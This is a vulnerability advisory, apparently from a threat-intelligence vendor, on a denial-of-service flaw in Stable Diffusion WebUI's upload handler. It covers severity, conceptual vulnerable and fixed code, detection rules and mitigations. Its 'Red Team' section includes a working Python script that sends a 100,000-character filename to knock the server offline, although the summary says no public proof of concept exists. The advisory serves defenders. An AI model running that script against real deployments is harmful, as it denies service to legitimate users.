CVE-2024-12074
Executive Summary
CVE-2024-12074 is a high-severity Denial of Service (DoS) vulnerability affecting Automatic1111's Stable Diffusion WebUI version 1.10.0. The flaw resides in the file upload handler, where an attacker can send a crafted multipart/form-data request with an excessively large filename. This causes the server to become overwhelmed and unresponsive, leading to service unavailability for legitimate users. The vulnerability is exploitable without authentication, making it highly scalable and attractive for botnet-driven attacks. No public proof-of-concept (PoC) code or exploit has been released, and no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant due to the ease of exploitation and the popularity of the software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects a Python-based application (Stable Diffusion WebUI) that is typically installed via Git or Docker. The risk is primarily to end-user deployments rather than the software supply chain itself.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required.
- Scope (S): Unchanged – impact is confined to the vulnerable component.
- Confidentiality (C): None – no data exposure.
- Integrity (I): None – no data modification.
- Availability (A): High – complete loss of service.
Threat Level: Medium. While the CVSS score is 6.5, the lack of authentication and ease of exploitation elevate the practical risk. The vulnerability is a classic resource exhaustion (CWE-400) attack.
Deep Dive & Mechanics
The vulnerability is triggered by sending a POST request to the file upload endpoint (typically /upload or similar) with a multipart/form-data body containing a file field where the filename is excessively long (e.g., thousands of characters). The server's file upload handler, likely based on Gradio or a custom Flask endpoint, does not properly validate or limit the filename length before processing. This leads to:
- Memory Exhaustion: The server attempts to allocate memory for the filename string, causing heap exhaustion.
- CPU Overload: Parsing the oversized filename may trigger expensive string operations, consuming CPU cycles.
- Thread/Process Blocking: The upload handler may block the main thread or worker process, preventing other requests from being served.
The attack is highly scalable because it requires no authentication and can be launched from a single machine or a botnet. A single request with a filename of several megabytes can render the server unresponsive for minutes or until the process is killed.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a conceptual comparison.
Vulnerable Code (Conceptual):
# app.py (simplified)
from flask import Flask, request
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = file.filename # No length validation
# Process file...
return 'OK'
Patched Code (Conceptual):
# app.py (patched)
from flask import Flask, request, abort
app = Flask(__name__)
MAX_FILENAME_LENGTH = 255
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = file.filename
if len(filename) > MAX_FILENAME_LENGTH:
abort(400, description="Filename too long")
# Process file...
return 'OK'
The patch adds a simple length check on the filename before any processing occurs, rejecting requests with filenames exceeding a reasonable limit (e.g., 255 characters).
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Automatic1111 Stable Diffusion WebUI v1.10.0.
- Network access to the web interface (typically port 7860).
Exploitation Steps:
- Identify the upload endpoint (e.g.,
/uploador/sdapi/v1/upload). - Craft a malicious multipart/form-data request with an oversized filename.
- Send the request using a tool like
curlor a custom Python script.
Example Exploit (Python):
import requests
target_url = "http://target:7860/upload"
oversized_filename = "A" * 100000 # 100k characters
files = {'file': (oversized_filename, 'dummy content', 'text/plain')}
try:
response = requests.post(target_url, files=files, timeout=10)
print(f"Status: {response.status_code}")
except requests.exceptions.Timeout:
print("Server unresponsive - DoS successful")
except Exception as e:
print(f"Error: {e}")
Expected Outcome: The server becomes unresponsive, and legitimate users cannot access the web UI.
Blue Team
Detection & Response:
- Monitor for requests with abnormally large
Content-Lengthheaders (e.g., > 1MB). - Inspect HTTP POST requests to
/uploadfor filenames exceeding 255 characters. - Use WAF rules to block requests with
Content-Type: multipart/form-dataand filenames longer than 255 characters. - Implement rate limiting on the upload endpoint.
Mitigation Steps:
- Apply the conceptual patch (filename length validation).
- Restrict access to the web UI via firewall or VPN.
- Use a reverse proxy (e.g., Nginx) to limit request body size:
client_max_body_size 10m;
- Monitor logs for repeated upload failures or large requests.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/uploadwithContent-Length> 1MB. - Multipart form-data with filenames containing > 1000 characters.
- Repeated 400/500 errors from the upload endpoint.
- HTTP POST requests to
- System IOCs:
- High memory and CPU usage on the server.
- Application logs showing
MemoryErrororOutOfMemoryexceptions. - Process crashes or unresponsiveness of the web UI.
- File IOCs:
- Temporary files with extremely long names in the upload directory (if any).
Detection Engineering
YARA Rule
rule CVE_2024_12074_DoS_Upload {
meta:
description = "Detects HTTP requests with oversized filenames targeting Stable Diffusion WebUI"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-12074"
strings:
$multipart = "multipart/form-data" nocase
$filename = "filename=" nocase
$long_name = /filename="[A-Za-z0-9_\-\.]{1000,}"/
condition:
$multipart and $filename and #long_name > 0
}
Sigma Rule
title: CVE-2024-12074 DoS via Oversized Filename
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with excessively long filenames to the upload endpoint of Stable Diffusion WebUI
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: POST
cs-uri-stem: '/upload'
cs-content-type: 'multipart/form-data*'
cs-filename-length: '>1000'
condition: selection
falsepositives:
- Legitimate uploads with very long filenames (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12074 DoS Attempt - Oversized Filename"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/filename=\"[^\"]{1000,}\"/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Manually patch the file upload handler to limit filename length to 255 characters (see patched code example).
- Restrict Network Access: Use a firewall to limit access to the web UI to trusted IP addresses only.
- Deploy a WAF: Use a Web Application Firewall (e.g., ModSecurity) with rules to block oversized filenames.
- Rate Limiting: Implement rate limiting on the upload endpoint to prevent rapid-fire attacks.
Long-Term Actions:
- Monitor for Official Patch: Track the Automatic1111 repository for a security update.
- Upgrade: When a patched version is released, upgrade immediately.
- Harden Deployment: Run the web UI behind a reverse proxy (Nginx/Apache) with strict request size limits.
- Enable Logging: Ensure detailed logging of all upload attempts for forensic analysis.
Workaround: If patching is not possible, disable the file upload feature entirely by removing or commenting out the upload endpoint in the application code.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.